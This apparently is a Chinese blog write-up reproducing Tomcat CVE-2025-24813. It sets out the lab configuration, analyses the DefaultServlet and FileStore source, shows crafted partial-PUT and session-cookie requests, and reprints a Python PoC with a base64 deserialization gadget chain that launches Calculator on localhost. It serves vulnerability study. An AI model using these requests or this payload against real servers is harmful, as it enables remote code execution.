参考文章:
https://forum.butian.net/article/674
https://github.com/iSee857/CVE-2025-24813-PoC/blob/main/Tomcat_CVE-2025-24813_RCE.py
看了奇安信社区的文章和大b哥的文章后,自己来复现一下。
漏洞影响范围:
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
Tomcat RCE 前世今生
CVE-2017-12615 Tomcat PUT ⽂件上传
CVE-2020-9484:Tomcat Session 反序列化漏洞
CVE-2024-50379 :Tomcat PUT 条件竞争⽂件上传
漏洞利用条件:
该漏洞利用条件较为复杂,需同时满足以下四个条件:
- 应用程序启用了DefaultServlet写入功能,该功能默认关闭
- 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
- 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
环境搭建
首先搭建一个环境吧~
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/src/
加⼊默认的 DefaultServlet,将DefaultServlet的readonly配置为false,启用写入功能
1 2 3 4
| <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
|
主要是加入如下内容
1 2 3
| <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
|
这⼀步是开启 Tomcat 的 Session 储存功能
漏洞利用
接下来启动环境,在终端输入
环境开启了,接下来我们使用yakit创建一个java利用链
接下来创建一下我们的包
1 2 3 4 5 6
| PUT /xxxxx/session HTTP/1.1 Host: 192.168.131.32:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
|
第二个包:
1 2 3
| GET / HTTP/1.1 Host: 192.168.131.32:8080 Cookie: JSESSIONID=.xxxxx
|
我们先发送第一个包
发现这里会多出一个.xxxxx.session
接下来我们发送第二个包
深入源码分析
文件上传部分DefaultServlet#doPut
javaweb还是太差了,搭个环境搭了半天。
先用idea搭建一个普通的tomcat环境,部署环境的时候要注意IDEA 部署 Tomcat 在新版有⼀些改变,主要是 AddFrameWork 按钮没了。全局搜即可。
然后把tomcat源码中的lib中的jar包都粘贴到web项目的WEB-INF的lib中
然后对lib进行add as library即可。
接着修改context.xml和web.xml
1 2 3
| <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
|
1 2 3 4
| <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
|
接下来我们关注一下DefaultServlet
⾃带的⼀个 Servelet 会处理⼀些默认类型的请求,如 PUT、POST、GET。
核心代码如下:CVE-2017-12615、CVE-2024-50379均涉及该⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this.readOnly) { this.sendNotAllowed(req, resp); } else { String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); Range range = this.parseContentRange(req, resp); if (range != null) { InputStream resourceInputStream = null;
try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); }
if (this.resources.write(path, (InputStream)resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } else { try { resp.sendError(409); } catch (IllegalStateException var15) { } } } finally { if (resourceInputStream != null) { try { ((InputStream)resourceInputStream).close(); } catch (IOException var14) { } }
}
} } }
|
我们先审计一下这段代码
由于我们之前已经在web.xml中设置过了readonly为false,那么我们进入的就是else部分
1
| WebResource resource = this.resources.getResource(path);
|
这里获得的直接是web根目录,然后将⽂件上传,这也是最开始的 PUT ⽂件上传漏洞点。
然后我们继续往下看,遇到一个parseContentRange函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| protected Range parseContentRange(HttpServletRequest request, HttpServletResponse response) throws IOException { String contentRangeHeader = request.getHeader("Content-Range"); if (contentRangeHeader == null) { return IGNORE; } else if (!this.allowPartialPut) { response.sendError(400); return null; } else { ContentRange contentRange = ContentRange.parse(new StringReader(contentRangeHeader)); if (contentRange == null) { response.sendError(400); return null; } else if (!"bytes".equals(contentRange.getUnits())) { response.sendError(400); return null; } else { Range range = new Range(); range.start = contentRange.getStart(); range.end = contentRange.getEnd(); range.length = contentRange.getLength(); return range; } } }
|
该函数与访问头Content-Range有关。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers/Content-Range
我们先看看语法:
1 2 3
| Content-Range: <unit> <range-start>-<range-end>/<size> Content-Range: <unit> <range-start>-<range-end>/* Content-Range: <unit> */<size>
|
指令:
1 2 3 4 5 6 7 8
| <unit> 指定范围的单位。通常是字节(bytes)。 <range-start> 给定单位中的一个整数,表示所请求范围的起始位置(从零开始,包含起始位置)。 <range-end> 给定单位中的一个整数,表示所请求范围的结束位置(从零开始,包含结束位置)。 <size> 文档的总长度(如果未知,则为 '*')。
|
其实可以理解为和分块⼀个意思。
接下来我们简单上传一个session看看效果,用yakit就好
1 2 3 4 5 6
| PUT /CVE_2025_24813_war_exploded/aaa/session HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
|
start、end、length和请求头对应,随后会进⼊ executePartialPut 内。
这里的path.replace会将斜杠替换成点号,因此我们可以上传一个xxx.session文件,接下来看看具体处理逻辑。
1 2
| randAccessContentFile.setLength(range.length); randAccessContentFile.seek(range.start);
|
这里以将range.length设置为文件长度,以range.start开始处理文件流,也就是为什么length一定要大于body总长度的原因,否则文件无法正常上传。
上传后虽然返回的是409,但是文件确实是会上传的!
自此文件上传的部分便以完毕了。
接下来是反序列化触发点。
反序列化触发点FileStore#load
这部分是反序列化触发点,CVE-2020-9484出⾃这⾥,所以不难看出这其实是⼀个组合漏洞,当时CVE-2020-9484是因为存在
⽬录穿越问题所以可以穿越加载⼀个⾃定义的序列化⽂件。
触发点如下:
D:\code\CVE-2025-24813\web\WEB-INF\lib\catalina.jar!\org\apache\catalina\session\FileStore.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public Session load(String id) throws ClassNotFoundException, IOException { File file = this.file(id); if (file != null && file.exists()) { Context context = this.getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isTraceEnabled()) { contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()})); }
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);
ObjectInputStream ois; try { FileInputStream fis = new FileInputStream(file.getAbsolutePath());
StandardSession var9; try { ois = this.getObjectInputStream(fis);
try { StandardSession session = (StandardSession)this.manager.createEmptySession(); session.readObjectData(ois); session.setManager(this.manager); var9 = session; } catch (Throwable var19) { if (ois != null) { try { ois.close(); } catch (Throwable var18) { var19.addSuppressed(var18); } }
throw var19; }
if (ois != null) { ois.close(); } } catch (Throwable var20) { try { fis.close(); } catch (Throwable var17) { var20.addSuppressed(var17); }
throw var20; }
fis.close(); return var9; } catch (FileNotFoundException var21) { if (contextLog.isDebugEnabled()) { contextLog.debug(sm.getString("fileStore.noFile", new Object[]{id, file.getAbsolutePath()})); }
ois = null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); }
return ois; } else { return null; } }
|
我们先跟进一下File file = this.file(id);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private File file(String id) throws IOException { File storageDir = this.directory(); if (storageDir == null) { return null; } else { String filename = id + ".session"; File file = new File(storageDir, filename); File canonicalFile = file.getCanonicalFile(); if (!canonicalFile.toPath().startsWith(storageDir.getCanonicalFile().toPath())) { log.warn(sm.getString("fileStore.invalid", new Object[]{file.getPath(), id})); return null; } else { return canonicalFile; } } }
|
这里已经修复了当时的目录穿越问题导致的反序列化,修复⽅式就是getCanonicalFile处理穿越问题。
因此现在只能加载缓存目录下的id + “.session”文件并将其反序列化,反序列化的触发点依旧是存在的。
1 2 3
| GET / HTTP/1.1 Host: localhost:8080 Cookie: JSESSIONID=.aaa
|
我们发这个触发包调试一下看看
接着我们恢复程序,发现成功弹出计算器!
复现完成!接下来给出大b哥给出的POC!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import requests import base64
def put_request(url, data=None, headers=None, timeout=10, verify=True): try: response = requests.put( url=url, data=data, headers=headers, timeout=timeout, verify=verify ) return response except Exception as e: print(f"PUT请求发⽣错误: {e}") return None def get_request(url, headers=None, timeout=10, verify=True): try: response = requests.get( url=url, headers=headers, timeout=timeout, verify=verify ) return response except Exception as e: print(f"GET请求发⽣错误: {e}") return None if __name__ == "__main__": target_url = "http://127.0.0.1:8080/a/session" payload = base64.b64decode("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8 Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEA DWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY 3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbu WUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmc uYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNm b3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvb W1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3 Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN 0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVu Y3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kT mFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbm cuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxb XrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB9zcQB+ABZ1cQB+ABsAAAACcHB0AAZp bnZva2V1cQB+AB8AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXEAfgAbAAAAAXQAEk9wZ W4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+AB8AAAABcQB+ACJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYW RGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHB xAH4AMw==") range_len = len(payload) custom_headers = { "Content-Range": f"bytes 0-{range_len+1}/1200" } response = put_request(url=target_url, data=payload, headers=custom_headers) if response.status_code == 409: print("[+] ⽂件上传成功") triggle_url = "http://127.0.0.1:8080/" get_headers = { "JSESSIONID":".a" } get_response = get_request(url=triggle_url,headers=get_headers) if get_response: print("[+] 触发 Payload")
|